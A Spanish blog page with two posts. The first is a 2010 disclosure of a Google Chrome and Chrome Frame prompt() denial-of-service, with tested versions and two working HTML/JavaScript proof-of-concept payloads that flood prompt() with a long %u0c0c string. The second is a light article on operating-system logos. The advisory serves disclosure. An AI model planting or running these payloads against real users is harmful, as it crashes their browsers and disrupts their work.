Mostrando entradas con la etiqueta mac os x. Mostrar todas las entradas
Mostrando entradas con la etiqueta mac os x. Mostrar todas las entradas

Google Chrome and Chrome frame Prompt DoS

16 agosto 2010 Publicado por cLimbo 0 comentarios
###############################################
Google Chrome and Chrome frame Prompt DoS
Afectado: http://www.google.com
Reportado por: http://lostmon.blogspot.com/2010/08/google-chrome-and-chrome-frame-prompt.html
Reporte en español: http://rootdev.blogspot.com/2010/08/google-chrome-and-chrome-frame-prompt.html
Notificación al afectado: Exploit disponible:
###############################################

Este bug ha sido descubierto por mí y ha sido testeado e investigado por cLimbo de #Ayuda-informaticos de la red iRC-Hispano (podéis encontrarnos allí)

#########
Resumen
#########

Algunas veces la necesidad de aplicaciones web en el sistema exponen algunos datos de los usuarios, se pueden vulnerar a través de un código Javascript, o por medio de formularios html, etcétera..

En el caso del código en Javascript pide accecer a los datos del sistema (la pregunta en sí es) es muy extenso ?

################

Google Chrome es propenso a una vulnerabilidad de denegación de servicio a través de "mensajes de alerta" cuando los datos esperados son muy extensos.

No sé si esto puede ser a su vez en una ejecución remota de código o una corrupción de la memoria o similares, pero creo que esta vulnerabilidad necesita analizarse y posteriormente parchearse.


###################
Versiones testeadas
###################

En todos los casos de Google Chrome es el vector el que produce alguna incongluencia en todos los sistemas :)


######################
MAC OS X leopard 10.5
######################

Google Chrome5.0.375.126 (Build oficial 53802) WebKit 533.4
V8 2.1.10.15
User Agent Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US)
AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4
Command Line /Applications/Google Chrome.app/Contents/MacOS/Google Chrome -psn_0_794818

In all cases OS X closes all Chrome Windows.( Chrome Crash)


##############
ubuntu 10.04
##############
Chromium 5.0.375.99 (Developer Build 51029) Ubuntu 10.04
WebKit 533.4
V8 2.1.10.14
User Agent Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4
(KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4
Command Line /usr/lib/chromium-browser/chromium-browser

In al cases Chrome is minimized and denies the access to
"window manager button" and we can´t no change beetwen applications
that we have open.


##################
Windows 7 32 bits
###################

Google Chrome 5.0.375.86 (Build oficial 49890)
on windows 7 ultimate fully patched.

It causes a DoS in chrome and a DoS in IE8 when
exploit it across Google Chrome Frame.

###############
Debian 2.6.26
###############

Google Chrome 6.0.472.25 (Build oficial 55113) devWebKit 534.3
V82.2.24.11
User Agent Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit 534.3

in all cases Debian Closes all chrome Windows.( Chrome Crash)


####################
PoC
####################

Este PoC ha sido testeado en win7 32 bits, chrome and chrome frame en conjunto con IE8 causando una denegación de servicio en IE8.

#############################


<meta http-equiv="X-UA-Compatible" content="chrome=1">
<h1> wait 10 or 11 seconds :)</h1>
<script>

function do_buffer(payload, len) {
while(payload.length < (len * 2)) payload += payload;
payload = payload.substring(0, len);
return payload;
}
function DoS()
{
var buffer = do_buffer(unescape('%u0c0c%u0c0c'), 38000);
prompt(buffer);
}
setTimeout('DoS()',1000);
</script>


################# EOF ###################

Este segundo PoC es para ser testeado en Linux o en Mac OS X

#######################################
<h1> wait 10 or 11 seconds :)</h1>
<script>
function do_buffer(payload, len) {
while(payload.length < (len * 2)) payload += payload;
payload = payload.substring(0, len);
return payload;
}
function DoS()
{
var buffer = do_buffer(unescape('%u0c0c%u0c0c'), 50000);
prompt(buffer);
}
setTimeout('DoS()',1000);
</script>

################# EOF ###################


############
Referencias
############
Vuln relacionada:
http://lostmon.blogspot.com/2010/07/ie8-on-windows-7-32-bits-unspecified.html

Google chrome bugtrack:
http://code.google.com/p/chromium/issues/detail?id=47617

################### €nd ###################

Thnx To cLimbo for his patience and support.

atentamente:
Lostmon (lostmon@gmail.com)
------------

thz Lost ;-)

Explicaremos los diseños de los logotipos de algunos sistemas operativos

12 agosto 2009 Publicado por cLimbo 0 comentarios
Parte fundamental de cualquier marca es su imagen y la máxima expresión de esa imagen viene dada por su logotipo. Será el principal pilar encargado de, entre otras cosas, identificar de forma inequívoca determinada empresa.

Tux, el pingüino:


Si hay un pingüino famoso en la red ese es sin duda Tux, la mascota oficial del kernel de Linux. Fue una elección personal de Linus Torvalds, el nombre del bicho es el acrónimo de (T)orvalds (U)ni(X).

Ubuntu, círculo de unidad:



A primera vista parece que el logo de Ubuntu es un simple círculo rojo, naranja y amarillo con unos puntos. Ahora fíjate bien y podrás ver que en realidad son tres personas formando un círculo cogidos de la mano.

Se pretende representar unidad, lo que también tiene relación con el nombre del sistema operativa. Ubuntu es una expresión africana que describe solidaridad y compasión.

Google Chrome OS, la esfera:



Aún no se sabe pero es probable que Chrome OS tome prestado el logotipo del navegador Google Chrome, quizás con pequeños cambios aunque manteniendo la estructura básica.

El logotipo es una esfera con aspecto “robótico” de colores y podríamos decir que está influenciado por varios otros. Desde el de Windows (los colores), las “Pokeballs” de los Pokémon o el juego de memoria Simón. Por otro lado es una poderosa imagen, intenta imitar el globo ocular humano que significa conocimiento y visión.

Redhat, el hombre misterioso:


Personalmente el logotipo de RedHat es de los que más me gusta por el “misterio” que desprende. Justamente esa es la idea que quieren transmitir los del sistema operativa abierto, estar rodeados por una atmósfera enigmática.

Por otro lado se cuenta que el padre de Marc Ewing, uno de los fundadores de la empresa, le regaló un sombrero rojo y blanco (el oficial de los jugadores de lacrosse de la universidad de Cornell) que no se quitaba ni para ir al baño y de ahí nació la idea para el nombre de la distribución y el logotipo (existen varias versiones de esta historia).

Mac OS X, se olvida de la manzana:



La marca principal de Apple es sin duda la manzana con un mordisco en uno de los lados, pero en el 2001 los de Cupertino deciden cambiar radicalmente e introducen una X mayúscula con aspecto metálico para representar a su sistema operativo Mac OS X.

La X es estilo metal brillante y pulido para representar un radical nuevo sistema operativo con menús metálicos y look minimalista.

openSUSE, el camaleón:


La mascota oficial del kernel de Linux es un pingüino como decíamos. Pues bien, al software libre le gustan los animales y la distribución SUSE usa otro para su logo, en este caso un camaleón. Los usuarios lo bautizaron con el nombre de Geeko que sale de contraer la palabra geek (¿hace falta definición?) y gecko, un pequeño lagarto que vive e climas templados.

Vía | ALT1040